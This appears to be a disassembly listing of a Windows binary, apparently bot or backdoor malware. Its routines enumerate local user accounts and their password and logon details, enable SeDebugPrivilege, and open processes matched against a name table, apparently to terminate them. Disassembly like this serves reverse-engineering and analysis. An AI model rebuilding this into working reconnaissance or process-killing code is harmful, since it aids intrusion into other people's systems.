		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi


loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4D08B4


loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax


loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C


loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4E06A0
		push	off_43E26C[eax*4]
		push	offset unk_43EA18
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4E06A0
		push	off_43E268[eax*4]
		push	offset unk_43E9E8
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4E06A0
		lea	eax, [eax+eax*2]
		push	off_43E268[eax*4]
		push	offset unk_43E9C0
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4D06FC
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4D06EC
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4D087C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------


loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43EA38
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h


loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4D08B4


loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4D0784
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_43EC18
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA


loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_43EBE4
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4D08B4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4D08B4


loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567


loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4E0440
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4E0440
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4D0834
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4E023C
		push	offset unk_43EF4C
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------


loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4E023C
		push	eax
		push	offset dword_43EF20
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 2720624h
		push	eax
		call	dword_4D0808
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4D07E0
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------


loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4D0890
		mov	esi, eax


loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		call	near ptr 267093Fh
		nop
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4D0844, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4D0828, ebx
		jz	loc_4198BB
		cmp	dword_4D0738, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4D0844
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4D0828
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4D0738
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_43EF78


loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2841024h
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43EFD8
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		call	near ptr 2710A5Eh
		nop
		test	eax, eax
		jnz	loc_41988F


loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4D0844
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4D06E4
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]


loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]


loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------


loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
